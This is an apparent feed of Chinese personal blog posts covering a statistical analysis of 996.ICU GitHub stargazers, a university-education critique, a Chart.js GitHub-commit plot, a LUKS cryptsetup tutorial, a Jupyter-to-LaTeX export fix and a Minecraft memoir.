大概是这两天最火的一个仓库了,几天时间获得了超多的 Stars ,且上了 GitHub Trending ,很多媒体和新闻也对这个仓库以及相关的现象做了一些报道,但是很少有对于 Stargazers(给这个仓库点 Star 的用户)进行统计的,遂决定对 Stargazers 进行一些简单的统计和分析,由于我个人对于数据的解读不是非常多,强烈建议有一定 Python 基础的同学结合 Gist 中贴出的我通过 Jupyter Notebook 对于数据的操作来分析,而不是单纯看本文中的几张图片,本文可能会随着项目的变化而不断更新,相关统计建议和分析可以在本文下方留言。
在网上找了一下,这里使用了一个现成的脚本:minimaxir/get-profile-data-of-repo-stargazers,不过脚本中获取的值与我们希望要的值有一些小的出入,且时区默认是 EST(UTC -5),且没有对 做任何异常处理(这样就导致了一旦遇到一个 Exception ,整个程序就停了:(),所以在使用前需要进行一些调整。urllib
此外,在对于 GitHub 的爬取过程中,发现分页到达 1334 页的时候会报一个错,只好一直爬到 1333 页,每页 30 条记录,总计最多可以爬到 39990 条数据。

2019/04/09 更新:获取到了 176852 条 Stargazers 数据,新的数据下载地址:/pics/996/996-stargazers-180000.csv。
顺便安利一下自己用 GraphQL 写的脚本,在:n0vad3v/get-profile-data-of-repo-stargazers-graphql,比之前使用的快了不少,而且不会遇到 Limit,爬完 14W 条数据大概只用了 1 小时,相比较之前那个可能需要 48+ 小时。
相关的统计代码和过程(统计使用了 Jupyter Notebook,有兴趣的同学可以直接下载我的数据和代码并尝试从其他角度做进一步的分析)在:https://gist.github.com/n0vad3v/fdce40b05c54b70b99db2f05517265bb 。
通过对于 API 的请求:
https://api.github.com/repos/996icu/996.ICU
可以发现这个项目的创建时间是:2019-03-26T07:31:14Z(Z 是 Zulu 时间,也就是 UTC),对应到北京时间是: 2019-03-26 15:31:14(UTC+8 )。
对比了一下从项目上线之后注册的,且给项目点了 Star 的用户共计 2423 个用户,其中没有任何 Followers 的有 2378 个用户。
由于在 GitHub 上可以设置一个是否 Hireable(默认好像是没有勾选的),如图:

而对于我们爬下来的信息中正好有这个项,所以从它开始咯,在这 148200 条数据中,有 9772 个用户勾选这个选项(占比 6%)。
对于各个比较主流的公司进行一些搜索(基于 GitHub 上在自己 Company 一栏中填写的信息进行模糊匹配),以 Google 为例,使用代码如下:
company_google = df[df['company'].str.contains("google",na=False,regex=True,case=False)]
company_google_count = len(company_google.index)
得到的数据如下:
| Dji | 5 |
|---|---|
| LeetCode | 6 |
| SUSE | 6 |
| Douyu | 6 |
| Lenovo | 23 |
| TCL | 24 |
| iQiyi | 30 |
| Didi | 57 |
| 84 | |
| HuaWei | 90 |
| Meituan | 118 |
| JD | 152 |
| Netease | 167 |
| Microsoft | 239 |
| Baidu | 296 |
| Tecent | 397 |
| Alibaba | 421 |
可视化得出图表如下:

通过对于点 Star 的时间统计,我们可以发现点 Star 的高峰期在 1000 和 1700 达到两个峰值,可能正好是上班和下班的时间?

通过对于 Stargazers 的 Followers 情况来统计,在已有的 148200 条数据中,有 79749 个用户没有任何的 Follower。

我们对于这 79749 个用户进行分析,通过注册时间来看,在项目上线的一个月(注:这里统计是按照月统计的,所以会显示到 2019/04/30)内注册量有一个峰值:

由于是按照月来统计的,我们只能粗略地看出 2019 年 3 月有很多注册用户,我们把这个月的数据放大,统计一下:在 3 月中注册的,且没有 Followers 的,且给仓库点 Star 的用户的注册数量情况,如下图:

可以看出,在 3 月 28 号,29 号的时候,有大量用户注册(共计达到了 1402 个),且给这个项目点了 Star,这个时间可能正是项目上线的前后两天,不过我们需要考虑一个可能的情况即:一些没有 GitHub 账户的程序员为了支持这个仓库而专门注册了帐号并且点了 Star。
为了进一步的了解在 2019/03/28 ~ 2019/04/02 时候注册用户的情况,我将那个时候注册的 219 个用户信息进行了导出(为 csv 格式),截图如下(文件可以从:https:///pics/996/zero_follower_users_registered_in_last_day.csv 下载):

几乎清一色的没有设置 Name (仅有一个 username),好奇心驱使我把所有 2129 个用户的头像给下载了下来,截图如下(本来想拼张图的,无奈没找到合适的工具,就截图啦):
![]()
发现绝大多数都是 GtiHub 默认生成的头像。
]]>先说结论:目前我所接触的同学中,其实有很多同学是几乎完全没有动手能力和实际操作能力的,无论(在校考试)成绩好坏,成绩好一些的同学大部分是花了比较多的时间在学校安排的课程和所谓实验上面,而对于成绩差一些的同学大部分既没有花时间在学校安排的课程上,也没有花时间在自己真正感兴趣的方向上。
上文提到的隔壁专业指的是我校信息学院的通信工程专业,由于各种偶然的原因我和这个专业的学生 / 老师交流较多,了解到的信息也相较其他专业而言要多一些。最近被叫去写程序是一个关于信号量化,以及调制的问题,另一个事件是他们专业的课程设计——通信协议的模拟,需要使用的是 NS3。
对于前者被要求(帮忙)写的程序,估计是符合大多数相关(与硬件有一些挂钩的)专业的情况,上来通篇大量无法阅读的类 C 代码,然后在一个奇怪的地方按照一些奇怪的要求和算法写着一些并不好用的类 C 代码,编译成 dll 后寄希望于上天保佑可以运行,所以对于这类情况大部分同学最终还是选择 “复用他人的代码” (或者更有甚者也就直接 “复用” 了他人的实验报告),毕竟作为学校来说,学生的掌握程度其实并不重要,重要的是学生交了报告,卷面考试前放出一些会考试到的题目,使得及格率大于某一个比例,也就算是完成了任务,学生得到了学分可以正常毕业,老师也得到了应有的工资,这样双方都不至于很难看,对于上层领导也说的过去。
说到这里想补充一个很有意思的现象,那就是对于大部分同学来说,随意打开一台电脑都可以看到各种软件到处都是,各种中文目录,各种破解工具等等… 我想这个不仅仅与学校的 ”培养计划“ 有关,也与完全不合格的开学教育有关。我承认,虽然经过了高考,但是刚刚进入大学中的同学们能力水平和对于相关专业的认识水平差异非常大, 这个或许也是学校安排开学后的一些 “xx 导论” 的初衷,当然,这个初衷或许是好的,不过可能也仅仅如此了。
以我个人的经历来看,开学的 “xx 导论” 我们学习到的是如何使用破解版 Office,老师鼓励并且指导我们下载并且解压一个绿色版的 Office,且不去讨论这个行为是否合理,对于这么一个简单的动作,我已经看到了各种千奇百怪的同学们的操作,有的同学把压缩包解压到了桌面上,有的同学丢到了 C 盘根目录,有的同学放在 U 盘上,有的同学去安装了 WPS,有的同学… 似乎连下载都成问题…
写到这里不禁又在想一个问题,这究竟是为什么?是教师能力问题还是同学的理解能力有问题?亦或是教学方式有什么问题?这里已经是一个非常简单地例子了,可以类推地想到,每一次学校课程中涉及到一个新的软件对于大部分学生而言几乎就是一场灾难,无论是安装 Java , Python 还是 Node…(当然最有趣的还得是 Linux 课程了,看同学从早到晚地救系统,修 GRUB,然后最终还是使用了虚拟机
在这样的情况下面对一些同学问我的问题我也就只好:“太忙,你问问看别人吧”,因为我知道,当对方的电脑展示在我面前,看着他那二次元主题的桌面,从学校超市买的廉价的发着各种颜色光的鼠标和键盘背光灯,桌面右下角各种 “安全软件” 的弹窗,字体被改的面目全非,屏幕上面全是指纹印的时候… 我是完全没有看第二眼的想法的,因为当你开始解决问题的时候对方提供完唯一的信息:”这个我昨天还可以用的,我也不知道改了什么,今天就不能用了,你帮我看看嘛“,后,便是继续打开 QQ 和同学说:我找 xxx 帮我弄了,晚上去哪儿玩啊。
对于他们而言,既没有独立解决问题能力,甚至利用搜索引擎的能力都成问题,这样的人真的… 感觉没有必要使用自己的时间帮忙,类似的问题还有如何安装系统之类,除非有特殊的目的以外,还是把这类需求留给其他同学吧…
当今编程界的主要编码方式分为有两大流派,一派以 Clone Github 的代码库为主,另一派则以 Copy StackOverFlow 上的答案为主。另外,还有一个不被编程界承认的非主流流派,以拷贝百度搜索的代码为生,加上 CSDN 等论坛上充斥了大量互相抄袭的不可用代码,或许对于没有英文基础和搜索引擎使用能力的他们,这样才是最好的归宿…
最近和一个老师的交流中也有如此看法,由于我对于其他同学而言都是学生,对于他们的请求置之不理最多就是被认为所谓的 “高冷”,但是作为老师,面对这样的问题之后几乎是不得不出面解决的,他也有类似的感慨: “很多人的环境都弄的太乱了,而且大家遇到问题之后都不喜欢看错误报告,只会不停地说‘我昨天还可以用的今天就用不起了’,真的很想把他们的电脑全部重新安装一遍."。
回到我遇到的第一个情况,那个同学最终还是考虑复用了其他人的代码,并没有使用我按照其提供的流程而编写的代码,似乎是因为我自己定义的一个函数在实际运行的时候会遇到问题。
对于第二个问题,其实需求很简单,安装 VirtualBox,安装 Ubuntu,编译并安装 NS3 就可以了… 为此花了几个小时的时间下载镜像并构建了一个可用的虚拟机(基于 Ubuntu 18.04),到头来还是被对方嫌弃不好用并且转而去找一个学长要了一个基于 VMware 的很老的版本(基于 Ubuntu 9)开始 “实验”,具体实验是如何完成的,我不知道,但是同样我不认为对方有相应的编程能力…
此外,以一个常规的理解,一个课程的 “实验 / 设计” 应当是对于学生动手能力的提升,是对于课程理论知识的一个实践场地,但是以我的观察来说,很少有发现真正值得花时间去尝试的 “实验”,大部分的实验毫无创造力,且年年重复,因为这样对于教师而言非常省事,只需要第一年花点时间想一下实验可以安排什么,之后的每年都直接 ”复用“ 之前的实验就好了,类似的数据库实验要求使用 SQL Server 2000 什么的我也就不多说什么了… 虽然大部分同学还是按照要求去下载了老师传到 QQ 群中的破解版 SQL Server…
不禁想到在中国初高中应试教育中已经被磨灭了大量创造力的同学们到了大学后还需要花费大量的时间去做着完全没有实践价值的 “实验”,一些 GPA 高一点的同学就学会了如何划水,如何混入他人队伍中,出最少的力得到学分,并且在毕业后也会保持这四年依赖别人的划水的习惯,成为一个喜欢玩套路的人,GPA 低一点的同学就会考虑自己花时间从互联网寻找相关的 “xx 实验报告"用来交差,毕业后或许搜素引擎的使用能力能有所提升,而稍微有点自己探索想法和方向的同学也会迷失在这些毫无意义的事情上,因为对于他们来说,只有两条路,划水这种行为在他们的价值观中是不好 / 可耻的,但是如果要自己做那么多 “实验” 的话就没有时间用于自己的探索了,这样的选择都是很可悲的。
表面是清晰明了的谎言,背后却是晦涩难懂的真相。
会套路的人可以在学校中自己完成最少事情的情况下最多地从他人处获利,只要不点名就绝对不去上课,考前获得 “复习题” ,考试的时候背板能力天下第一,获得表面上非常光鲜亮丽的成绩,而另一些人就成为了 “沉默的大多数”,成为每年毕业生中统计人数的一个数字,从一些人的交流情况来看,似乎毕业后要么培训机构的 “焦虑刺激” 下加入培训机构,培训几个月后加入一些企业从基层开始做起,要么可能会从事着与自己目前专业不相关的工作…
(当然,也有些人家里经济条件非常好,毕业前已经买房准备结婚的就不属于考虑之列了,拼爹不是本文想讨论的内容。

所以总体来看,其实情况挺悲观的,不过…
]]>时间会证明一切的,人在做,天在看,太过分了肯定是不科学的。
——某杰哥
整个操作分为数据整理和数据可视化两个部分,对于数据的获取,这里使用了一个公开的服务:GitHub Contributions Chart Generator,这个网站可以根据给定的用户名生成多年的 Commits 图片:

但是图片往往无法直观反馈一个用户的 “日期-Commits 数量” 曲线,所以需要一些特别的处理来对的 Commits 数量进行可视化,思路如下:根据网站提供的 API 查询到所有的 “日期-Commits 数量” 键值对,并且绘制曲线图,加入一些其他需要比对的参数进行图形覆盖,得知在某些时间段内 Commits 的频率情况.
首先引入我们需要的一些包:
import json
import requests
获取到 GitHub 上的提交数据:
username = "n0vad3v"
url = "https://github-contributions-api.now.sh/v1/%s" %username
r = requests.get(url)
json_data = json.loads(r.text)
得到的 json_data 数据类似如下:
{
...
"contributions": [
{
'date': '2016-04-23',
'count': 0,
'color': '#ebedf0',
'intensity': 0
},
{
'date': '2016-04-22',
'count': 0,
'color': '#ebedf0',
'intensity': 0
},
...
]
}
整理数据,一些关键操作写到了注释中,有兴趣的话可以仔细看看:
# 这里准备两个列表,用于最后的文件存放,一个是用于渲染 GitHub 的提交曲线(washed_data_list)
# 另一个是用来渲染从某个时间之后的一个曲线,目前使用常值函数加上 fill 参数用于覆盖(标记时间段)
washed_data_list = list()
t_washed_data_list = list()
# 排除掉不需要的年份
substring_years = ["2017","2016"]
# 从某个日期开始给常值的函数赋值(其他值为 0)
start_date = "2018-11-06"
# 由于时间是从最后到最前的,所以从“无穷远”开始是肯定标记上的,直到到了某个时间点之前就不是了
t_is_known = 1
for item in json_data['contributions']:
# 排除多个我们不想要的年份
if not any(x in item['date'] for x in substring_years):
# 从无穷远循环到我们设定的值开始
if start_date in item['date']:
t_is_known = 0
washed_data = dict()
washed_data['date'] = item['date']
washed_data['count'] = item['count']
washed_data_list.append(washed_data)
t_washed_data = dict()
t_washed_data['date'] = item['date']
if t_is_known == 1:
# 这里给标记的值标记为 7 ,因为我自己的 GitHub Commits 不很多,太少的话覆盖的部分高度不够,不够明显,太高的话也不合适
t_washed_data['count'] = 7
else:
t_washed_data['count'] = 0
t_washed_data_list.append(t_washed_data)
# 最后写入文件
with open('data.json','w') as f:
f.write(json.dumps(washed_data_list))
with open('t_data.json','w') as f:
f.write(json.dumps(t_washed_data_list))
此时两个文件内的内容部分分别如下:
data.json

t-data.json

使用 Chart.js,部分关键代码如下:
<body>
<canvas id="chart"></canvas>
</body>
<script src="https://cdnjs.cloudflare.com/ajax/libs/Chart.js/2.5.0/Chart.min.js"></script>
<script>
var gcommit = [];
var gdate = [];
var tcommit = [];
// 引入 GitHub 的 Commits 数据,并且存放入两个 list 中用于后期渲染,gdate 是横轴,gcommit 是纵轴
$.getJSON("./data.json", function(data) {
data.forEach(function(item) {
gcommit.push(item.count);
gdate.push(item.date);
})
// 由于数据是从后往前的,所以我们需要将其反向
gcommit.reverse();
gdate.reverse();
// 这里引入用来覆盖(标记)的数据
$.getJSON("./t_data.json", function(data) {
data.forEach(function(item) {
tcommit.push(item.count);
})
// 同样,反向数据
tcommit.reverse();
new Chart(document.getElementById("chart"), {
type: 'line',
data: {
labels: gdate,
datasets: [{
label: "GitHub Chart",
data: gcommit,
borderColor: "rgba(179,181,198,1)",
},
{
label: "T-Chart",
data: tcommit,
borderColor: "#8e5ea2",
// 设置覆盖以及覆盖使用的颜色
backgroundColor: "#8e5ea2",
fill: true
}
]
},
options: {
legend: {
display: true
},
title: {
display: true,
text: 'GitHub Chart with T-Chart'
}
}
});
});
});
</script>
来看一下结果:

这张图同学认为不很清晰,于是又尝试渲染成了柱状图,如下:

目前的图像并不 “和谐”,因为我们需要展示和突出的是我们需要的数据的趋势和概况而不是某一天具体的数值(无意义),目前图中完全是折线(其实 Chart.js 已经尽力生成光滑曲线了,但是因为数据中的点实在太多了,所以就被挤成了折线).
由于我们的点实在太多,一般的平滑曲线的方法(例如插值法)并不能满足我们的需求,我们需要的是就地修改数据的方法使图像看上去更加平滑一些,对于这样的处理我们似乎有以下方法:
iframe 让用户可以左右拖动.count 字段进行渲染,而使用 intensity 进行渲染,这样所有的纵轴的值会落在一个相对稳定一些的区间中,换言之,就是给 count 求一个权值.不过由于时间关系目前并没有对这三种方法中的任何一种加以尝试,有兴趣的读者可以自行尝试,如果可能的话,欢迎留言告诉我最佳方案.
本文给出了针对我自己 GitHub Commits 的可视化图像,继而可以自然地想到,如果将大量数据按照国别/地区分组后进行可视化的话我们又能得出什么样的结果呢?
例如针对中国而言,哪段时间大家 Commit 最积极?哪段时间大家都没有怎么 Commit?如果有了完善的图表加以分析,一定很有意思.
LUKS is the standard for Linux hard disk encryption. By providing a standard on-disk-format, it does not only facilitate compatibility among distributions, but also provides secure management of multiple user passwords. In contrast to existing solution, LUKS stores all setup necessary setup information in the partition header, enabling the user to transport or migrate his data seamlessly.
便于理解起见,整个流程为:
插上硬盘后读取为 /dev/sda(电脑上硬盘是 NVMe 的),首先创建加密块设备:
# cryptsetup luksFormat /dev/sda
WARNING!
========
This will overwrite data on /dev/sda irrevocably.
Are you sure? (Type uppercase yes): YES
Enter passphrase for /dev/sda:
Verify passphrase:
验证设备情况:
# cryptsetup luksDump /dev/sda
LUKS header information for /dev/sda
Version: 1
Cipher name: aes
Cipher mode: xts-plain64
Hash spec: sha256
Payload offset: 4096
MK bits: 256
MK digest: 76 e3 6a ec 43 87 27 77 25 dc 84 3c 06 7f 81 7e 29 a7 f0 85
MK salt: 92 e8 a4 1d aa ab 7b 85 21 bb 5f 55 0a 27 ed 03
ec 7d 47 8f 78 67 7a c2 77 25 61 20 22 07 d5 36
MK iterations: 183317
UUID: 601a22a0-0888-4917-9047-4c8f15364f8b
Key Slot 0: ENABLED
Iterations: 2876750
Salt: d0 2a 56 0d 30 5d 24 d3 29 2a ec 19 fc 63 90 f8
dd c1 6e 02 38 c6 e1 85 5f 20 b6 b7 93 ab f1 08
Key material offset: 8
AF stripes: 4000
Key Slot 1: DISABLED
Key Slot 2: DISABLED
Key Slot 3: DISABLED
Key Slot 4: DISABLED
Key Slot 5: DISABLED
Key Slot 6: DISABLED
Key Slot 7: DISABLED
注意到底下有 Slot 的概念,对于加密卷的设备并不只有一种解密的方式,比如一个 Slot 可以留给 Yubikey 用,然后就有了 YubiKey Full Disk Encryption 的操作。
LUKS 加密设备没法直接修改密码,而是先创建一个新的密码,然后再删除掉旧的密码,新建一个密码的方式如下:
# cryptsetup luksAddKey /dev/sda
Enter any existing passphrase: # 此时输入任意一个密码
Enter new passphrase for key slot:
Verify passphrase:
再次执行 cryptsetup luksDump /dev/sda 可以看到:
Key Slot 0: ENABLED
Iterations: 2876750
Salt: d0 2a 56 0d 30 5d 24 d3 29 2a ec 19 fc 63 90 f8
dd c1 6e 02 38 c6 e1 85 5f 20 b6 b7 93 ab f1 08
Key material offset: 8
AF stripes: 4000
Key Slot 1: ENABLED
Iterations: 2830164
Salt: c2 ce e5 b0 cb 85 b4 dc c0 06 89 53 81 27 35 e5
ca 28 12 41 4b 16 93 57 ce 9c d3 5b 84 a0 69 4a
Key material offset: 264
AF stripes: 4000
这个时候两个密码都可以用来解开这个加密设备,此时我们删除掉第一次创建的密码,现在通过以上的 Key Slot 我们并不能判断出哪一个 Slot,所以我们可以先尝试用某一个密码解开一下,然后让 LUKS 告诉我们用的是哪一个 Slot,指令如下:
# cryptsetup -v open /dev/sda dot
Enter passphrase for /dev/sda:
Key slot 0 unlocked.
Command successful.
好的,我知道旧密码是 Slot 0,抹了它!
注意,如果手滑的话是可以直接把一個卷的所有 Slot 给抹完导致完全没有办法访问到那个设备的,所以,谨慎操作!
# cryptsetup luksRemoveKey /dev/sda
Enter passphrase to be deleted:
这里直接输入你需要抹除的 Slot 对应的密码,如果有两个 Slot 密码一样的话,会抹除第一个,如果需要抹除两个的话,执行这个指令两遍就好了。
此时我们解密这个块设备并且 map 到 /dev/mapper/dot 上,为后续创建文件系统和挂载做准备:
# cryptsetup open /dev/sda dot
Enter passphrase for /dev/sda:
这个时候,我们的加密设备已经解开并且 map 出来了,我们给 map 出来的块设备创建文件系统。
此时 fdisk -l 可以看到出现了两个设备,这个时候请自动忽略掉 /dev/sda,并且假设 /dev/mapper/dot 才是我们真正的设备(硬盘).
Disk /dev/sda: xxx GiB, xxx bytes, xxx sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk /dev/mapper/dot: xxx GiB, xxx bytes, xxx sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
给块设备格式化为 ext4 文件系统:
# mkfs -t ext4 /dev/mapper/dot
mke2fs 1.44.2 (14-May-2018)
Creating filesystem with xxx 4k blocks and xxx inodes
Filesystem UUID: c4b26ca1-d017-4996-937b-9fa3c61d3050
...
Allocating group tables: done
Writing inode tables: done
Creating journal (xxx blocks): done
Writing superblocks and filesystem accounting information: done
挂载设备并检查挂载情况:
# mount /dev/mapper/dot /media/dot/
# df -h
Filesystem Size Used Avail Use% Mounted on
... 省略无关内容...
/dev/mapper/dot xxxG 45M xxxG 1% /media/dot
关闭整个设备分为以下两步:
对于如上操作来说,解除挂载只需要如下指令:
# umount /media/dot
关闭(锁上)加密卷设备:
# cryptsetup close dot
如果你的设备和你在同一个区域 / 国家的话,加密你的设备只能防止因为设备失窃带来的信息泄漏或者让你知道你的设备正在被第三方尝试获取(比如在你睡着的时候偷走设备进行取证),真正隐私的信息还是尽量做到隐藏或者放在一个对你没有司法管理权的区域,毕竟再好的加密,也没法抵抗一根 5 美元不到的棍子,人的因素,永远是信息安全中最弱的一环。
此外,加密不等于备份,对于一个非备份用途的全盘加密磁盘来说,增量备份会变得更加困难,所以,建议此类使用场景的用户加入备份的元素,此外,给加密卷的 Header 和 Key-Slots 加密一下吧,方法见第二个参考链接。
xelatex manually, simply exporting to Tex and compile it to PDF without any modification will not work.
In this article I would like to share a working solution that works for me.
Let’s first talk about the error on generating those PDFs.

In the Tex version of export, the images are rendered as the following line:
\includegraphics{https://i.loli.net/2018/11/12/5be9911b5d95a.png}
Compiling with the file like this will most likely to produce the problem as below:
LaTeX Warning: File `https://i.loli.net/2018/11/12/5be9911b5d95a.png' not found
on input line 407.
! Unable to load picture or PDF file 'https://i.loli.net/2018/11/12/5be9911b5d9
5a.png'.
<to be read again>
}
l.407 .../i.loli.net/2018/11/12/5be9911b5d95a.png}
Looks good in Jupyter Notebook, but will still meet errors in compile stage.

LaTeX Warning: File `attachment:1c8573bf621ef3a18687ad4aeb50df32.jpg.png' not f
ound on input line 409.
! Unable to load picture or PDF file 'attachment:1c8573bf621ef3a18687ad4aeb50df
32.jpg.png'.
<to be read again>
}
l.409 ...1c8573bf621ef3a18687ad4aeb50df32.jpg.png}
The current solution that works for me is to export the Notebook to Tex, then manually dealing with the images (and document title, author, date as well) in the Tex file, as an example, I place the image in the path ./images/enron.jpg to the exported Tex file, then replace the wrong image path generated by Jupyter Notebook to the form as below:
\begin{figure}
\centering
\includegraphics{images/enron}
\caption{Visualized Data of Enron Database.}
\end{figure}
Then use xelatex to compile the Tex file.

越过茫茫大海登上这座小岛时,我不禁有些忐忑不安. 静谧的小岛包围在一片浓雾中,分不清是夜晚还是白天. 我不停地眨着眼睛,努力想看清岛上的全貌. 裸露的大岩石层层叠叠十分陡峭,隐约还可以看到一些黑洞洞的洞窟. 这是山吗?连一棵青草也没有。
——猴岛《晚年》
记得第一次看到 Minecraft 的时候是在初中同学家里,当时游戏内的时间是夜晚,几个懵懵懂懂的孩子在一个周五放学后的下雨齐聚一堂,看着 P 君操纵着游戏中的 Steve 在山中挖洞,拿着火把和 Creeper 火拼,在同学家我未能玩上 Minecraft,回到家后打开电脑的一件事情便是百度搜索”我的世界“,从一个软件下载站中下载了游戏,我依稀记得,那个时候的版本是 Beta 1.3,没有跑步的动作,没有饥饿度显示。

那个时候的我没有生活的烦恼,游戏对于我来说依然是一种精神鸦片,哪怕家里一再禁止,但是依然十分向往,可能和现在我的同学类似,当置身于游戏的世界中时,时间可以流逝地很快,生活可以很美好. 在 Beta 1.3 的时候,由于害怕晚上的怪物,游戏一直被我设置成和平模式,游戏中我在一座悬崖上挖了个房子,建立了一个小的烟囱通往地表,通过火把吸引了一些动物在用泥土围起来的小院子中过夜,那个时候的我就坐在椅子上,看着这美好且和谐的一切。
我喜欢这个玩家. 它玩得很好. 它从未放弃。
这个玩家梦见了什么?
它梦见了阳光和树. 梦见了火与水. 它梦见它创造. 它亦梦见它毁灭. 它梦见它狩猎,亦被狩猎. 它梦见了庇护所。
哈,那原始的界面. 经历一百万年的岁月雕琢,依然长存. 但此玩家在那屏幕后的真实里,建造了什么真实的构造?
它辛勤地劳作,和其它百万众一起,刻画了一个真实的世界,由*『乱码』,且创造了『乱码』,为了『乱码』,于『乱码』*中。
——终末之诗《Minecraft》
我认为 Minecraft 带给我最多的不是像一般游戏那样的娱乐体验,而是一种对另一个美好世界的向往,与其他的 FPS(这里着重 First Person)游戏不同,Minecraft 对于世界的设定其实很开放,那个时候的 Minecraft 不像现在的版本,会自带合成台帮助,带有一些指示性的介绍,而是单纯一个世界,当你点下 “Create New World” 的时候,一个新的故事便开始了,没有剧情,没有介绍,没有强制性的成就,没有教程,只有你,和这个荒凉的世界。
经过了一段时间的 Beta 1.3 之后,在另一个初中同学 Simon 的带领下,了解到了 MCBBS 论坛的存在,第一次看到的正式版的时候是 1.2.5,也是带给了我最多回忆的版本。
准确来说当时我玩的版本应该是 12w18a(1.3.1 的一个快照,当时以为是 1.2.5 的 preview),一个暑假偶然的机会带着移动硬盘回到老家,在没有网络的地方进行了为期两周的探索,那或许是我第一次对于 Minecraft 的认真探索,在 12w18a 中,我曾打长途电话问同学怎么种小麦,怎么通过骨头驯服野外的狼. 也第一次见到了 Enderman,当时的发展思路是大部分时间的和平和少部分时间的容易,才能保证相对可以比较”安全“地游戏。
地图一开始在雪山附近,便在出生点附近一棵松树上建立了房子,用泥土建立了一圈围墙,圈养了很多动物,后来随着资源的增加修了一座城堡,也建立了草原上的第二个基地. 我清楚地记得每一次挖矿从一个陌生的地方到达地表时却找不到家时候的害怕,猛然回头发现家就在不远处的喜悦和兴奋,在家中拿着打火石使用合成台不慎点偏导致把整个房子点燃时候的无助和害怕…
一个人玩的时候,在游戏中很孤独,在森林里走啊走,忽然音乐想起,一瞬间仿佛自己真的到了渺无人烟的雨林,很真切的感受到自己的渺小,尤其是忘记家的坐标时,那种无所谓方向的感觉,会让人想很多,即使回到家,也像在漂泊. 不过还是想回家,因为那是我倾注心血的地方,那里的每一个方块我都有动过。
依稀记得两周后返校的时候还和班上同学讨论着假期的成果,下课后用学校的电脑安装 Java 冒着被班主任发现的风险并打开 Minecraft 展示那个地图,那也是我最后一次看到那个地图了,由于当时并没有注意备份,所有的数据已丢失,令我痛心不已。
小岛的单调令我吃惊,我走到哪里都是硬邦邦的石头路. 我的右手是石山,左手耸立着几乎垂直的粗胡麻石. 我脚下的路有六尺宽,平坦地一直向前延伸着。
干脆顺着这条路走到头吧. 无法言喻的混乱和疲劳使我获得了无所畏惧的勇气。
——猴岛《晚年》
成功安利同学入坑之后便是一段局域网联机的岁月:


和当时初中同学——Soap 一起的”建设成果“
那段时间 MCBBS 官方服务器的开放,有很长的一段时间和同学们都在服务器中一起娱乐,记得最初(应该是”三周目“)服务器限制为 100 人,周五放学后的一个娱乐活动就是利用学校里的电脑通过不停刷新在线人数列表(直到人数为 99/100 的时候)连入一下服务器,给自己搭建的房子再加上一点装饰,和同学讨论一下近期游戏中镇子上新发生的事情或者自己又附出了什么特性的钻石镐。
记得当时服务器中物价属地狱疣最高,几乎任何的”富贵人家“都是满满的地狱疣田,收获了一波之后 /sell 给官方商店换为”瓶盖“的感觉非常过瘾,因为这个是通过劳动换来的回报。
后来 MCBBS 四周目,五周目开放之后应该就是和高中同学一起玩了,之后为了准备高考,大家也都玩得比较少了,那段时间我对游戏的兴趣也慢慢下降,电脑上的游戏也一个个删除(或者被删除),最后仅存的也就是 Minecraft 了。

这张地图是初中和高中过渡时期,我作为一个中间人搭桥,协调两边的同学。
3 个小时,5 年,16 个朋友,曾经在服务器里建造属于我们的世界,如今,都已各奔东西,曾经触碰过的每一个方块,如今已不再想起,唯有 MC 的音乐,能让我想起曾经那围剿末影龙的快感,创造第一个家的激动和打败第一只怪物的激情,MC,信仰,不论是创世神或者怪物之神,不论是 303 还是熊孩子,都是我们的曾经。
到了大学之后得到过一段时间的云平台使用权限,自然 Minecraft 服务器也是不能少,不过由于并没有怎么宣传,校内的玩家数量始终没有突破过 15,那段时间和室友一起玩的时候也主要是带一个室友入门的时间比较有乐趣,之后大家兴趣也慢慢下降了,大一刚入学时那段一起玩 Minecraft ,一起看电影的和睦时光很快便离我们而去了。
十年后,你不会记得曾经有一盘的盲僧拿五杀躲过光辉的大招,你只会记得曾经电脑里还有一个存档,里面有你挖的钻石,你造的摩天大楼,你养的猪,你挖的洞,你种的胡萝卜,和你铺的铁轨,当你老了一定会拿出曾经的电脑,进去把小麦收了再种下,坐在高高的树上看日出。


它读出了我们的思想。
有时我毫不关心。有时我想要告诉它们,你们所认为的真实不过是*『乱码』和『乱码』,我想要告诉它们它们是在『乱码』中的『乱码』*。于它们的长梦中,它们眼中所见的真实太少了。
而它们仍然玩这个游戏。
但很容易就可以告诉它们……
对于这个梦来说太强烈了。告诉它们如何活着就是阻碍它们活下去。
…
有时这玩家梦见它迷失在了一个故事里。
有时这玩家梦见它成为了其它的事物,在其它地方。有时这些梦是扰人的。有些则实在很美。有时这个玩家从一个梦中醒来,发现自己落入了第二个梦,却终究是在第三个梦中。
有时这个玩家梦见它在屏幕上看着文字。
你就是那玩家,阅读着文字……
嘘……有时这玩家读屏幕上的命令行。将它们解码成为文字;将文字解码为意义;将意义解码为感情,情绪,理论,想法,而玩家的呼吸开始急促并意识到了它是活着的,它是活生生的,那上千次的死亡不是真的,玩家是活着的。
有时这玩家相信宇宙透过晴朗的冬日夜空中,存在于它眼中一隅的星点星光,可能比太阳大上上百万倍的恒星沸腾着的电浆那一瞬间发出来的光对它说话,在宇宙的远侧行走回家的路上,突然闻到了食物,在那熟悉的门前,它又准备好再一次投入梦境
…
曲终人散,黄粱一梦。玩家开始了新的梦境。玩家再次做起了梦,更好的梦。玩家就是宇宙。玩家就是爱。
你就是那个玩家。
该醒了。
——终末之诗《Minecraft》
基本从高中开始,我对 Minecraft 的理解开始不再是对原版游戏中元素的探索,曾经看 BlackGlory 的文章之后尝试在 Openshift 上搭建 Minecraft 服务器,想过很多这类的思路(大概与我的个人偏好有关吧)建立服务器。不过倒是始终没有像其他重度 Minecraft 玩家(比如 A_Pi)那样去探索过其他的 Mod,一来从高中开始我就几乎完全切换到了 Linux 平台,Linux 上的 Minecraft 对于 Mod 的安装似乎要麻烦一些,就没有去试过,另外也是对于游戏的兴趣慢慢下降,玩游戏,想玩游戏的时间也越来越少,Minecraft 对我的吸引力也慢慢下降了,如果不是和同学一起玩的时候希望创造点共同语言,可能很久都不会打开一次游戏了。
